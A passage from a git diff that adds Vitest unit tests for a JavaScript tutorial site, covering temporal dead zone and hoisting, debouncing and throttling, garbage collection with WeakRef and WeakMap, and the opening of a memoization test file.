DOES throw because the class itself is in TDZ + expect(() => { + eval(` + const x = MyClass.value // MyClass is in TDZ + class MyClass { + static value = 10 + } + `) + }).toThrow(ReferenceError) + }) + }) + + describe('TDZ vs Hoisting Comparison', () => { + it('should demonstrate var is hoisted with undefined', () => { + function example() { + expect(x).toBe(undefined) // hoisted, initialized to undefined + var x = 10 + expect(x).toBe(10) + } + + example() + }) + + it('should demonstrate function declarations are fully hoisted', () => { + // Can call before declaration + expect(hoistedFn()).toBe("I work!") + + function hoistedFn() { + return "I work!" + } + }) + + it('should demonstrate function expressions are NOT hoisted', () => { + expect(() => { + eval(` + notHoisted() + var notHoisted = function() { return "Not hoisted" } + `) + }).toThrow(TypeError) // notHoisted is undefined, not a function + }) + + it('should demonstrate arrow functions are NOT hoisted', () => { + expect(() => { + eval(` + arrowFn() + const arrowFn = () => "Not hoisted" + `) + }).toThrow(ReferenceError) // TDZ for const + }) + }) + + describe('Practical TDZ Scenarios', () => { + describe('Shadowing Trap', () => { + it('should demonstrate the shadowing TDZ trap', () => { + const x = 10 + + expect(() => { + eval(` + function example() { + const outer = x // Which x? The inner one (TDZ!) + let x = 20 + return outer + } + example() + `) + }).toThrow(ReferenceError) + }) + + it('should show the correct way to handle shadowing', () => { + const x = 10 + + function example() { + const outer = x // Refers to outer x (no shadowing yet) + // Don't declare another x if you need the outer one! + return outer + } + + expect(example()).toBe(10) + }) + }) + + describe('Conditional Initialization', () => { + it('should have TDZ regardless of conditional branches', () => { + expect(() => { + eval(` + { + const value = x // TDZ even though if is false + if (false) { + // This never runs, but x is still in TDZ + } + let x = 10 + } + `) + }).toThrow(ReferenceError) + }) + }) + + describe('Closure Over TDZ Variables', () => { + it('should allow creating closures over TDZ variables', () => { + function createAccessor() { + // Function created before value is initialized + const getValue = () => value + const setValue = (v) => { value = v } + + let value = "initial" + + return { getValue, setValue } + } + + const accessor = createAccessor() + expect(accessor.getValue()).toBe("initial") + + accessor.setValue("updated") + expect(accessor.getValue()).toBe("updated") + }) + }) + }) + + describe('Why TDZ Exists', () => { + it('should catch use-before-initialization bugs', () => { + // Without TDZ (var), this bug is silent + function buggyWithVar() { + var total = price * quantity // undefined * undefined = NaN + var price = 10 + var quantity = 5 + return total + } + + expect(buggyWithVar()).toBeNaN() // Silent bug! + + // With TDZ (let/const), the bug is caught immediately + expect(() => { + eval(` + function buggyWithLet() { + let total = price * quantity // ReferenceError! + let price = 10 + let quantity = 5 + return total + } + buggyWithLet() + `) + }).toThrow(ReferenceError) // Bug caught! + }) + + it('should make const semantically meaningful', () => { + // const should never have an "undefined" state + // TDZ ensures you can't observe const before it has its value + const PI = 3.14159 + + // If there was no TDZ, const would briefly be undefined + // which contradicts its purpose as a constant + expect(PI).toBe(3.14159) + }) + }) + + describe('Edge Cases', () => { + it('should handle nested blocks with same variable name', () => { + let x = "outer" + + { + let x = "middle" + expect(x).toBe("middle") + + { + let x = "inner" + expect(x).toBe("inner") + } + + expect(x).toBe("middle") + } + + expect(x).toBe("outer") + }) + + it('should have TDZ in switch case blocks', () => { + expect(() => { + eval(` + switch (1) { + case 1: + console.log(x) // TDZ! + let x = 10 + break + } + `) + }).toThrow(ReferenceError) + }) + + it('should avoid TDZ with block scoping in switch', () => { + let result + + switch (1) { + case 1: { + let x = 10 + result = x + break + } + } + + expect(result).toBe(10) + }) + + it('should have TDZ for let in try block visible in catch', () => { + expect(() => { + eval(` + try { + throw new Error() + } catch (e) { + console.log(x) // x is in TDZ + } + let x = 10 + `) + }).toThrow(ReferenceError) + }) + }) +}) diff --git a/tests/beyond/memory-performance/debouncing-throttling/debouncing-throttling.test.js b/tests/beyond/memory-performance/debouncing-throttling/debouncing-throttling.test.js new file mode 100644 index 00000000..f5373811 --- /dev/null +++ b/tests/beyond/memory-performance/debouncing-throttling/debouncing-throttling.test.js @@ -0,0 +1,603 @@ +import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' + +/** + * Tests for Debouncing & Throttling concept page + * Source: docs/beyond/concepts/debouncing-throttling.mdx + */ + +describe('Debouncing & Throttling', () => { + beforeEach(() => { + vi.useFakeTimers() + }) + + afterEach(() => { + vi.useRealTimers() + }) + + describe('Basic Debounce Implementation', () => { + // Source: docs/beyond/concepts/debouncing-throttling.mdx:47-60 + function debounce(fn, delay) { + let timeoutId + + return function(...args) { + // Clear any existing timer + clearTimeout(timeoutId) + + // Set a new timer + timeoutId = setTimeout(() => { + fn.apply(this, args) + }, delay) + } + } + + it('should delay function execution', () => { + const fn = vi.fn() + const debouncedFn = debounce(fn, 300) + + debouncedFn('test') + + // Function should not be called immediately + expect(fn).not.toHaveBeenCalled() + + // Advance time by 300ms + vi.advanceTimersByTime(300) + + // Now it should be called + expect(fn).toHaveBeenCalledTimes(1) + expect(fn).toHaveBeenCalledWith('test') + }) + + it('should reset timer on subsequent calls', () => { + const fn = vi.fn() + const debouncedFn = debounce(fn, 300) + + // Simulate user typing "hello" quickly + debouncedFn('h') + vi.advanceTimersByTime(50) + + debouncedFn('he') + vi.advanceTimersByTime(50) + + debouncedFn('hel') + vi.advanceTimersByTime(50) + + debouncedFn('hell') + vi.advanceTimersByTime(50) + + debouncedFn('hello') + + // Function should not be called yet (timer keeps resetting) + expect(fn).not.toHaveBeenCalled() + + // Wait for 300ms after last call + vi.advanceTimersByTime(300) + + // Should only be called once with final value + expect(fn).toHaveBeenCalledTimes(1) + expect(fn).toHaveBeenCalledWith('hello') + }) + + it('should preserve this context', () => { + const fn = vi.fn() + const debouncedFn = debounce(fn, 100) + + const obj = { + value: 42, + method: debouncedFn + } + + obj.method() + vi.advanceTimersByTime(100) + + expect(fn).toHaveBeenCalledTimes(1) + }) + + it('should pass all arguments to the original function', () => { + const fn = vi.fn() + const debouncedFn = debounce(fn, 100) + + debouncedFn('arg1', 'arg2', { key: 'value' }) + vi.advanceTimersByTime(100) + + expect(fn).toHaveBeenCalledWith('arg1', 'arg2', { key: 'value' }) + }) + }) + + describe('Basic Throttle Implementation', () => { + // Source: docs/beyond/concepts/debouncing-throttling.mdx:95-109 + function throttle(fn, interval) { + let lastTime = 0 + + return function(...args) { + const now = Date.now() + + // Only execute if enough time has passed + if (now - lastTime >= interval) { + lastTime = now + fn.apply(this, args) + } + } + } + + it('should execute immediately on first call', () => { + const fn = vi.fn() + const throttledFn = throttle(fn, 100) + + throttledFn('first') + + expect(fn).toHaveBeenCalledTimes(1) + expect(fn).toHaveBeenCalledWith('first') + }) + + it('should ignore calls within the interval', () => { + const fn = vi.fn() + const throttledFn = throttle(fn, 100) + + throttledFn('call1') + expect(fn).toHaveBeenCalledTimes(1) + + // Calls within 100ms should be ignored + vi.advanceTimersByTime(30) + throttledFn('call2') + expect(fn).toHaveBeenCalledTimes(1) + + vi.advanceTimersByTime(30) + throttledFn('call3') + expect(fn).toHaveBeenCalledTimes(1) + + vi.advanceTimersByTime(30) + throttledFn('call4') + expect(fn).toHaveBeenCalledTimes(1) + }) + + it('should execute again after interval passes', () => { + const fn = vi.fn() + const throttledFn = throttle(fn, 100) + + throttledFn('first') + expect(fn).toHaveBeenCalledTimes(1) + + vi.advanceTimersByTime(100) + throttledFn('second') + expect(fn).toHaveBeenCalledTimes(2) + expect(fn).toHaveBeenLastCalledWith('second') + }) + + it('should maintain regular execution rate during continuous calls', () => { + const fn = vi.fn() + const throttledFn = throttle(fn, 100) + + // Simulate continuous scroll events every 10ms for 350ms + for (let i = 0; i < 35; i++) { + throttledFn(`event${i}`) + vi.advanceTimersByTime(10) + } + + // Should have executed approximately 4 times (at 0, 100, 200, 300ms) + expect(fn.mock.calls.length).toBeGreaterThanOrEqual(3) + expect(fn.mock.calls.length).toBeLessThanOrEqual(5) + }) + }) + + describe('Leading Edge Debounce', () => { + // Source: docs/beyond/concepts/debouncing-throttling.mdx:181-199 + function debounceLeading(fn, delay) { + let timeoutId + + return function(...args) { + // Execute immediately if no pending timeout + if (!timeoutId) { + fn.apply(this, args) + } + + // Clear and reset the timeout + clearTimeout(timeoutId) + timeoutId = setTimeout(() => { + timeoutId = null // Allow next leading call + }, delay) + } + } + + it('should execute immediately on first call', () => { + const fn = vi.fn() + const debouncedFn = debounceLeading(fn, 300) + + debouncedFn('first') + + // Should be called immediately + expect(fn).toHaveBeenCalledTimes(1) + expect(fn).toHaveBeenCalledWith('first') + }) + + it('should ignore rapid subsequent calls', () => { + const fn = vi.fn() + const debouncedFn = debounceLeading(fn, 300) + + // First call executes immediately + debouncedFn('call1') + expect(fn).toHaveBeenCalledTimes(1) + + // Rapid calls are ignored + debouncedFn('call2') + debouncedFn('call3') + debouncedFn('call4') + + expect(fn).toHaveBeenCalledTimes(1) + }) + + it('should allow new leading call after delay expires', () => { + const fn = vi.fn() + const debouncedFn = debounceLeading(fn, 300) + + debouncedFn('first') + expect(fn).toHaveBeenCalledTimes(1) + + vi.advanceTimersByTime(300) + + debouncedFn('second') + expect(fn).toHaveBeenCalledTimes(2) + expect(fn).toHaveBeenLastCalledWith('second') + }) + }) + + describe('Enhanced Debounce with Cancel', () => { + // Source: docs/beyond/concepts/debouncing-throttling.mdx:222-261 + function debounce(fn, delay, options = {}) { + let timeoutId + let lastArgs + let lastThis + + const { leading = false, trailing = true } = options + + function debounced(...args) { + lastArgs = args + lastThis = this + + const invokeLeading = leading && !timeoutId + + clearTimeout(timeoutId) + + timeoutId = setTimeout(() => { + timeoutId = null + if (trailing && lastArgs) { + fn.apply(lastThis, lastArgs) + lastArgs = null + lastThis = null + } + }, delay) + + if (invokeLeading) { + fn.apply(this, args) + } + } + + debounced.cancel = function() { + clearTimeout(timeoutId) + timeoutId = null + lastArgs = null + lastThis = null + } + + debounced.flush = function() { + if (timeoutId && lastArgs) { + fn.apply(lastThis, lastArgs) + debounced.cancel() + } + } + + return debounced + } + + it('should support trailing option (default behavior)', () => { + const fn = vi.fn() + const debouncedFn = debounce(fn, 100, { trailing: true }) + + debouncedFn('test') + expect(fn).not.toHaveBeenCalled() + + vi.advanceTimersByTime(100) + expect(fn).toHaveBeenCalledTimes(1) + }) + + it('should support leading option', () => { + const fn = vi.fn() + const debouncedFn = debounce(fn, 100, { leading: true, trailing: false }) + + debouncedFn('first') + expect(fn).toHaveBeenCalledTimes(1) + + debouncedFn('second') + expect(fn).toHaveBeenCalledTimes(1) // Still 1, second call ignored + + vi.advanceTimersByTime(100) + expect(fn).toHaveBeenCalledTimes(1) // No trailing call + }) + + it('should support both leading and trailing', () => { + const fn = vi.fn() + const debouncedFn = debounce(fn, 100, { leading: true, trailing: true }) + + debouncedFn('first') + expect(fn).toHaveBeenCalledTimes(1) // Leading call + expect(fn).toHaveBeenCalledWith('first') + + debouncedFn('second') + expect(fn).toHaveBeenCalledTimes(1) // Still 1 + + vi.advanceTimersByTime(100) + expect(fn).toHaveBeenCalledTimes(2) // Trailing call + expect(fn).toHaveBeenLastCalledWith('second') + }) + + it('should cancel pending execution', () => { + const fn = vi.fn() + const debouncedFn = debounce(fn, 100) + + debouncedFn('test') + expect(fn).not.toHaveBeenCalled() + + debouncedFn.cancel() + + vi.advanceTimersByTime(100) + expect(fn).not.toHaveBeenCalled() // Cancelled, never executed + }) + + it('should flush pending execution immediately', () => { + const fn = vi.fn() + const debouncedFn = debounce(fn, 100) + + debouncedFn('test') + expect(fn).not.toHaveBeenCalled() + + debouncedFn.flush() + expect(fn).toHaveBeenCalledTimes(1) + expect(fn).toHaveBeenCalledWith('test') + }) + }) + + describe('Debounce vs Throttle Behavior Comparison', () => { + function debounce(fn, delay) { + let timeoutId + return function(...args) { + clearTimeout(timeoutId) + timeoutId = setTimeout(() => fn.apply(this, args), delay) + } + } + + function throttle(fn, interval) { + let lastTime = 0 + return function(...args) { + const now = Date.now() + if (now - lastTime >= interval) { + lastTime = now + fn.apply(this, args) + } + } + } + + it('debounce should only fire once after burst of events', () => { + const fn = vi.fn() + const debouncedFn = debounce(fn, 100) + + // Simulate burst of 10 events over 100ms + for (let i = 0; i < 10; i++) { + debouncedFn(`event${i}`) + vi.advanceTimersByTime(10) + } + + expect(fn).not.toHaveBeenCalled() // Not yet, timer keeps resetting + + vi.advanceTimersByTime(100) // Wait for debounce delay + + expect(fn).toHaveBeenCalledTimes(1) + expect(fn).toHaveBeenCalledWith('event9') // Last event value + }) + + it('throttle should fire multiple times during burst of events', () => { + const fn = vi.fn() + const throttledFn = throttle(fn, 100) + + // Simulate burst of events over 350ms (event every 10ms) + for (let i = 0; i <= 35; i++) { + throttledFn(`event${i}`) + vi.advanceTimersByTime(10) + } + + // Should have fired approximately 4 times (at 0, 100, 200, 300ms) + expect(fn.mock.calls.length).toBeGreaterThanOrEqual(3) + }) + }) + + describe('Common Pitfalls', () => { + function debounce(fn, delay) { + let timeoutId + return function(...args) { + clearTimeout(timeoutId) + timeoutId = setTimeout(() => fn.apply(this, args), delay) + } + } + + it('should demonstrate why debounced function must be created once', () => { + const fn = vi.fn() + + // ❌ WRONG: Creating new debounced function each call + // This doesn't actually debounce because each call gets a new timer + const wrongWay = () => { + const newDebounced = debounce(fn, 100) + newDebounced('test') + } + + wrongWay() + wrongWay() + wrongWay() + + vi.advanceTimersByTime(100) + + // All 3 calls went through because each had its own timer + expect(fn).toHaveBeenCalledTimes(3) + }) + + it('should demonstrate correct way - create debounced function once', () => { + const fn = vi.fn() + + // ✓ CORRECT: Create once, reuse + const debouncedFn = debounce(fn, 100) + + debouncedFn('test1') + debouncedFn('test2') + debouncedFn('test3') + + vi.advanceTimersByTime(100) + + // Only 1 call went through (proper debouncing) + expect(fn).toHaveBeenCalledTimes(1) + expect(fn).toHaveBeenCalledWith('test3') + }) + }) + + describe('Real-World Use Case: Search Autocomplete', () => { + function debounce(fn, delay) { + let timeoutId + return function(...args) { + clearTimeout(timeoutId) + timeoutId = setTimeout(() => fn.apply(this, args), delay) + } + } + + it('should only search after user stops typing', () => { + const mockSearch = vi.fn() + const debouncedSearch = debounce(mockSearch, 300) + + // Simulate user typing "react" character by character + debouncedSearch('r') + vi.advanceTimersByTime(100) + expect(mockSearch).not.toHaveBeenCalled() + + debouncedSearch('re') + vi.advanceTimersByTime(100) + expect(mockSearch).not.toHaveBeenCalled() + + debouncedSearch('rea') + vi.advanceTimersByTime(100) + expect(mockSearch).not.toHaveBeenCalled() + + debouncedSearch('reac') + vi.advanceTimersByTime(100) + expect(mockSearch).not.toHaveBeenCalled() + + debouncedSearch('react') + // User stops typing, wait for debounce + vi.advanceTimersByTime(300) + + expect(mockSearch).toHaveBeenCalledTimes(1) + expect(mockSearch).toHaveBeenCalledWith('react') + }) + }) + + describe('Real-World Use Case: Scroll Position Tracking', () => { + function throttle(fn, interval) { + let lastTime = 0 + return function(...args) { + const now = Date.now() + if (now - lastTime >= interval) { + lastTime = now + fn.apply(this, args) + } + } + } + + it('should update scroll position at regular intervals', () => { + const mockUpdatePosition = vi.fn() + const throttledUpdate = throttle(mockUpdatePosition, 100) + + // Simulate 500ms of scrolling (event every 16ms, like 60fps) + for (let i = 0; i < 31; i++) { + throttledUpdate({ scrollY: i * 10 }) + vi.advanceTimersByTime(16) + } + + // Should have updated approximately 5 times (every 100ms) + expect(mockUpdatePosition.mock.calls.length).toBeGreaterThanOrEqual(4) + expect(mockUpdatePosition.mock.calls.length).toBeLessThanOrEqual(6) + + // First call should be the first scroll event + expect(mockUpdatePosition.mock.calls[0][0]).toEqual({ scrollY: 0 }) + }) + }) + + describe('Real-World Use Case: Prevent Double Submit', () => { + function debounceLeading(fn, delay) { + let timeoutId + return function(...args) { + if (!timeoutId) { + fn.apply(this, args) + } + clearTimeout(timeoutId) + timeoutId = setTimeout(() => { + timeoutId = null + }, delay) + } + } + + it('should only submit once on double-click', () => { + const mockSubmit = vi.fn() + const safeSubmit = debounceLeading(mockSubmit, 1000) + + // User double-clicks rapidly + safeSubmit({ formData: 'order123' }) + safeSubmit({ formData: 'order123' }) + safeSubmit({ formData: 'order123' }) + + // Only first submit should go through + expect(mockSubmit).toHaveBeenCalledTimes(1) + expect(mockSubmit).toHaveBeenCalledWith({ formData: 'order123' }) + + // After 1 second, can submit again + vi.advanceTimersByTime(1000) + + safeSubmit({ formData: 'order456' }) + expect(mockSubmit).toHaveBeenCalledTimes(2) + expect(mockSubmit).toHaveBeenLastCalledWith({ formData: 'order456' }) + }) + }) + + describe('requestAnimationFrame Throttle Alternative', () => { + // Note: jsdom doesn't have a real rAF, but we can test the pattern + function throttleWithRAF(fn) { + let ticking = false + let lastArgs + + return function(...args) { + lastArgs = args + + if (!ticking) { + ticking = true + + // Using setTimeout to simulate rAF behavior in tests + setTimeout(() => { + fn.apply(this, lastArgs) + ticking = false + }, 16) // ~60fps + } + } + } + + it('should batch rapid calls into animation frames', () => { + const fn = vi.fn() + const throttledFn = throttleWithRAF(fn) + + // Multiple calls before frame executes + throttledFn('call1') + throttledFn('call2') + throttledFn('call3') + + expect(fn).not.toHaveBeenCalled() + + vi.advanceTimersByTime(16) + + // Only last args should be used + expect(fn).toHaveBeenCalledTimes(1) + expect(fn).toHaveBeenCalledWith('call3') + }) + }) +}) diff --git a/tests/beyond/memory-performance/garbage-collection/garbage-collection.test.js b/tests/beyond/memory-performance/garbage-collection/garbage-collection.test.js new file mode 100644 index 00000000..14086904 --- /dev/null +++ b/tests/beyond/memory-performance/garbage-collection/garbage-collection.test.js @@ -0,0 +1,552 @@ +import { describe, it, expect } from 'vitest' + +describe('Garbage Collection', () => { + // ============================================================ + // REACHABILITY AND REFERENCES + // From garbage-collection.mdx lines 51-62 + // ============================================================ + + describe('Reachability and References', () => { + // From lines 51-62: Basic reachability example + it('should demonstrate object reachability through variables', () => { + // 'user' references the object + let user = { name: 'Alice' } + + // The object is reachable through 'user' + expect(user).toEqual({ name: 'Alice' }) + + // After nullifying, the reference is gone + user = null + + // Now 'user' is null (object is unreachable, eligible for GC) + expect(user).toBe(null) + }) + + // From lines 97-119: Family example with circular references + it('should create objects with circular references', () => { + function createFamily() { + let father = { name: 'John' } + let mother = { name: 'Jane' } + + // Create references between objects + father.spouse = mother + mother.spouse = father + + return { father, mother } + } + + let family = createFamily() + + // Both father and mother are reachable through 'family' + expect(family.father.name).toBe('John') + expect(family.mother.name).toBe('Jane') + + // Circular references exist + expect(family.father.spouse).toBe(family.mother) + expect(family.mother.spouse).toBe(family.father) + expect(family.father.spouse.spouse).toBe(family.father) + + // After nullifying family, objects become unreachable + family = null + expect(family).toBe(null) + // Both objects (including their circular refs) are now eligible for GC + }) + }) + + // ============================================================ + // MARK-AND-SWEEP AND CIRCULAR REFERENCES + // From garbage-collection.mdx lines 181-192 + // ============================================================ + + describe('Circular References', () => { + // From lines 181-192: Circular reference with family + it('should handle circular references between objects', () => { + let family = { father: { name: 'John' }, mother: { name: 'Jane' } } + family.father.spouse = family.mother + family.mother.spouse = family.father + + // Circular reference: father ↔ mother + expect(family.father.spouse.name).toBe('Jane') + expect(family.mother.spouse.name).toBe('John') + + // Objects reference each other + expect(family.father.spouse.spouse.name).toBe('John') + + family = null + // Mark phase would start from roots, can't reach father or mother + // Neither gets marked, both get swept + // Circular reference doesn't prevent GC in mark-and-sweep! + expect(family).toBe(null) + }) + + // From lines 212-229: createCycle function demonstrating circular refs + it('should create circular references that do not leak in mark-and-sweep', () => { + function createCycle() { + let objA = {} + let objB = {} + + objA.ref = objB + objB.ref = objA + + // Circular reference exists inside function + expect(objA.ref).toBe(objB) + expect(objB.ref).toBe(objA) + expect(objA.ref.ref).toBe(objA) + + // Return nothing - objects become unreachable after function returns + } + + createCycle() + // With mark-and-sweep: Both collected (unreachable from roots) + // No leak! + }) + }) + + // ============================================================ + // REFERENCE TRACKING + // From garbage-collection.mdx lines 646-659 + // ============================================================ + + describe('Reference Tracking (Test Your Knowledge Q1)', () => { + // From lines 646-659: Multiple references to same object + it('should keep object alive while any reference exists', () => { + let user = { name: 'Alice' } + let admin = user + + // Both variables reference the same object + expect(user).toBe(admin) + expect(user.name).toBe('Alice') + expect(admin.name).toBe('Alice') + + user = null + + // Object still exists through 'admin' + expect(user).toBe(null) + expect(admin).toEqual({ name: 'Alice' }) + + // Only when all references are gone can it be collected + admin = null + expect(admin).toBe(null) + }) + }) + + // ============================================================ + // GC-FRIENDLY CODE PATTERNS + // From garbage-collection.mdx lines 320-334 + // ============================================================ + + describe('GC-Friendly Code Patterns', () => { + // From lines 320-334: Variables going out of scope + it('should allow variables to go out of scope naturally', () => { + function processData() { + const largeArray = new Array(100).fill('data') + + // Process the array... + const result = largeArray.reduce((sum, item) => sum + item.length, 0) + + return result + // largeArray goes out of scope here + } + + const result = processData() + // largeArray is already unreachable + expect(result).toBe(400) // 100 items * 4 chars each + }) + + // From lines 340-351: Nullifying references to large objects + it('should allow early nullification for large objects', () => { + function longRunningTask() { + let hugeData = new Array(1000).fill('x') + + const summary = hugeData.length + + hugeData = null // Allow GC to reclaim memory now + + // Can still use summary + expect(hugeData).toBe(null) + + return summary + } + + const result = longRunningTask() + expect(result).toBe(1000) + }) + }) + + // ============================================================ + // CLOSURE MEMORY PATTERNS + // From garbage-collection.mdx lines 382-408 + // ============================================================ + + describe('Closure Memory Patterns', () => { + // From lines 399-408: Better closure pattern + it('should only capture what is needed in closures', () => { + function createBetterHandler() { + const hugeData = new Array(1000000).fill('x') + const summary = hugeData.length // Extract what you need + + return function handler() { + return `Data size was: ${summary}` + } + // hugeData goes out of scope, only 'summary' is captured + } + + const handler = createBetterHandler() + expect(handler()).toBe('Data size was: 1000000') + // Only 'summary' (a number) is captured, not the huge array + }) + + // From lines 382-396: Closure capturing more than needed + it('should demonstrate closure capturing outer scope', () => { + function createHandler() { + const hugeData = new Array(100).fill('x') + + return function handler() { + // This closure captures the outer scope + // In some engines, hugeData may be kept alive + return 'Handler called' + } + } + + const handler = createHandler() + expect(handler()).toBe('Handler called') + }) + }) + + // ============================================================ + // TIMER CLEANUP PATTERNS + // From garbage-collection.mdx lines 448-465 + // ============================================================ + + describe('Timer Cleanup', () => { + // From lines 457-464: Clearing intervals + it('should clear intervals to allow GC', () => { + let callCount = 0 + const data = { value: 'test' } + + const intervalId = setInterval(() => { + callCount++ + }, 10) + + // Wait a bit then clear + return new Promise((resolve) => { + setTimeout(() => { + clearInterval(intervalId) + const countBeforeClear = callCount + + // After clearing, no more calls should happen + setTimeout(() => { + // Count should not have increased significantly + expect(callCount).toBe(countBeforeClear) + resolve() + }, 50) + }, 50) + }) + }) + }) + + // ============================================================ + // WEAKREF BASICS + // From garbage-collection.mdx lines 477-488 + // ============================================================ + + describe('WeakRef Basics', () => { + // From lines 477-488: WeakRef usage + it('should create a WeakRef and deref it', () => { + const someObject = { data: 'important' } + const weakRef = new WeakRef(someObject) + + // Object still exists, deref returns it + const obj = weakRef.deref() + expect(obj).toBe(someObject) + expect(obj.data).toBe('important') + }) + + it('should demonstrate WeakRef API', () => { + let target = { value: 42 } + const ref = new WeakRef(target) + + // While target exists, deref returns it + expect(ref.deref()).toBe(target) + expect(ref.deref().value).toBe(42) + + // Note: We cannot test GC actually collecting the object + // because GC timing is non-deterministic + }) + }) + + // ============================================================ + // WEAKMAP FOR CACHING + // From garbage-collection.mdx lines 555-564 + // ============================================================ + + describe('WeakMap for Caching', () => { + // From lines 555-564: WeakMap cache pattern + it('should use WeakMap for object-keyed caching', () => { + const cache = new WeakMap() + + function expensiveComputation(obj) { + return Object.keys(obj).length * 100 + } + + function getCached(obj) { + if (!cache.has(obj)) { + cache.set(obj, expensiveComputation(obj)) + } + return cache.get(obj) + } + + const myObj = { a: 1, b: 2, c: 3 } + + // First call computes + expect(getCached(myObj)).toBe(300) + + // Second call returns cached value + expect(getCached(myObj)).toBe(300) + expect(cache.has(myObj)).toBe(true) + + // Different object, different computation + const anotherObj = { x: 1 } + expect(getCached(anotherObj)).toBe(100) + }) + + // Test that WeakMap keys can be garbage collected + it('should allow WeakMap keys to be GC eligible', () => { + const cache = new WeakMap() + + let key = { id: 1 } + cache.set(key, 'cached value') + + expect(cache.has(key)).toBe(true) + expect(cache.get(key)).toBe('cached value') + + // If we lose the reference to key, the entry becomes GC eligible + // We can't test actual GC, but we can verify the API works + key = null + // The WeakMap entry is now eligible for garbage collection + }) + }) + + // ============================================================ + // DELETE OPERATOR BEHAVIOR + // From garbage-collection.mdx lines 500-510 + // ============================================================ + + describe('Delete Operator', () => { + // From lines 500-510: delete vs undefined + it('should remove property with delete', () => { + const obj = { data: new Array(100) } + + expect('data' in obj).toBe(true) + expect(obj.data).toBeDefined() + + delete obj.data + + // Property is removed + expect('data' in obj).toBe(false) + expect(obj.data).toBe(undefined) + }) + + it('should compare delete vs setting undefined', () => { + const obj1 = { data: [1, 2, 3] } + const obj2 = { data: [1, 2, 3] } + + // Using delete + delete obj1.data + expect('data' in obj1).toBe(false) + expect(Object.keys(obj1)).toEqual([]) + + // Using undefined + obj2.data = undefined + expect('data' in obj2).toBe(true) // Property still exists! + expect(Object.keys(obj2)).toEqual(['data']) + expect(obj2.data).toBe(undefined) + }) + }) + + // ============================================================ + // OBJECT CACHING WITHOUT WEAKMAP (LEAK PATTERN) + // From garbage-collection.mdx lines 544-553 + // ============================================================ + + describe('Cache Patterns', () => { + // From lines 544-553: Regular object cache (leak pattern) + it('should demonstrate unbounded cache growth', () => { + const cache = {} + + function getCached(key) { + if (!cache[key]) { + cache[key] = `computed_${key}` + } + return cache[key] + } + + // Cache grows with each unique key + getCached('key1') + getCached('key2') + getCached('key3') + + expect(Object.keys(cache).length).toBe(3) + expect(cache['key1']).toBe('computed_key1') + + // This pattern can lead to memory leaks if keys keep growing + // and old entries are never removed + }) + }) + + // ============================================================ + // CIRCULAR REFERENCE DETECTION PATTERNS + // ============================================================ + + describe('Circular Reference Patterns', () => { + it('should create deeply nested circular references', () => { + const a = { name: 'a' } + const b = { name: 'b' } + const c = { name: 'c' } + + a.next = b + b.next = c + c.next = a // Circular! + + // Can traverse the circle + expect(a.next.next.next.name).toBe('a') + expect(a.next.next.next.next.name).toBe('b') + }) + + it('should create self-referencing objects', () => { + const obj = { name: 'self' } + obj.self = obj + + // Self-reference + expect(obj.self).toBe(obj) + expect(obj.self.self.self.name).toBe('self') + + // When obj is unreachable, the self-reference doesn't prevent GC + }) + }) + + // ============================================================ + // TEST YOUR KNOWLEDGE - Q2 from lines 667-679 + // ============================================================ + + describe('Test Your Knowledge Examples', () => { + // From lines 667-679: createCycle function + it('should demonstrate circular reference in function scope', () => { + let cycleCreated = false + + function createCycle() { + let a = {} + let b = {} + a.ref = b + b.ref = a + cycleCreated = true + } + + createCycle() + // Both objects are collected after the function returns + // The circular reference doesn't keep them alive + expect(cycleCreated).toBe(true) + }) + }) + + // ============================================================ + // REFERENCE COUNTING CONCEPTUAL EXAMPLE + // From garbage-collection.mdx lines 202-208 + // ============================================================ + + describe('Reference Counting (Conceptual)', () => { + // From lines 202-208: Reference counting example + it('should demonstrate multiple references to same object', () => { + // Reference counting (conceptual, not real JS) + let obj = { data: 'hello' } // refcount would be: 1 + let ref = obj // refcount would be: 2 + + expect(obj).toBe(ref) + expect(obj.data).toBe('hello') + + ref = null // refcount would go to: 1 + expect(ref).toBe(null) + expect(obj.data).toBe('hello') // Object still exists + + obj = null // refcount would go to: 0 + expect(obj).toBe(null) + // Object would now be freed in reference counting + }) + }) + + // ============================================================ + // EDGE CASES + // ============================================================ + + describe('Edge Cases', () => { + it('should handle null and undefined references', () => { + let obj = { value: 1 } + + // Setting to null + obj = null + expect(obj).toBe(null) + + // Creating new object + obj = { value: 2 } + expect(obj.value).toBe(2) + + // Setting to undefined + obj = undefined + expect(obj).toBe(undefined) + }) + + it('should handle reassignment in loops', () => { + let holder = null + + for (let i = 0; i < 5; i++) { + // Each iteration creates a new object + // Previous object becomes unreachable (eligible for GC) + holder = { iteration: i } + } + + // Only the last object is reachable + expect(holder.iteration).toBe(4) + }) + + it('should handle objects in arrays', () => { + const arr = [{ id: 1 }, { id: 2 }, { id: 3 }] + + // All objects reachable through array + expect(arr[0].id).toBe(1) + + // Remove reference from array + arr[0] = null + expect(arr[0]).toBe(null) + // Original { id: 1 } is now eligible for GC + + // Clear array + arr.length = 0 + expect(arr.length).toBe(0) + // All objects now eligible for GC + }) + + it('should handle nested object structures', () => { + let root = { + level1: { + level2: { + level3: { + value: 'deep' + } + } + } + } + + // All levels reachable through root + expect(root.level1.level2.level3.value).toBe('deep') + + // Nullify intermediate reference + root.level1.level2 = null + + // level3 is now unreachable (eligible for GC) + expect(root.level1.level2).toBe(null) + + root = null + // Entire structure now eligible for GC + }) + }) +}) diff --git a/tests/beyond/memory-performance/memoization/memoization.test.js b/tests/beyond/memory-performance/memoization/memoization.test.js new file mode 100644 index 00000000..943d86f8 --- /dev/null +++ b/tests/beyond/memory-performance/memoization/memoization.test.js @@ -0,0 +1,684 @@ +import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' + +describe('Memoization', () => { + // ============================================================ + // WHAT IS MEMOIZATION? + // From memoization.mdx lines 37-58 + // ============================================================ + + describe('What is Memoization?', () => { + // From lines 37-58: Basic memoizedDouble example + it('should cache results and return cached value on subsequent calls', () => { + function memoizedDouble(n) { + if (memoizedDouble.cache[n] !== undefined) { + return memoizedDouble.cache[n] + } + + const result = n * 2 + memoizedDouble.cache[n] = result + return result + } + memoizedDouble.cache = {} + + // First call - calculates + const result1 = memoizedDouble(5) + expect(result1).toBe(10) + expect(memoizedDouble.cache[5]).toBe(10) + + // Second call - from cache + const result2 = memoizedDouble(5) + expect(result2).toBe(10) + + // Different input - calculates + const result3 = memoizedDouble(7) + expect(result3).toBe(14) + expect(memoizedDouble.cache[7]).toBe(14) + }) + }) + + // ============================================================ + // HOW TO BUILD A MEMOIZE FUNCTION + // From memoization.mdx lines 94-195 + // ============================================================ + + describe('How to Build a 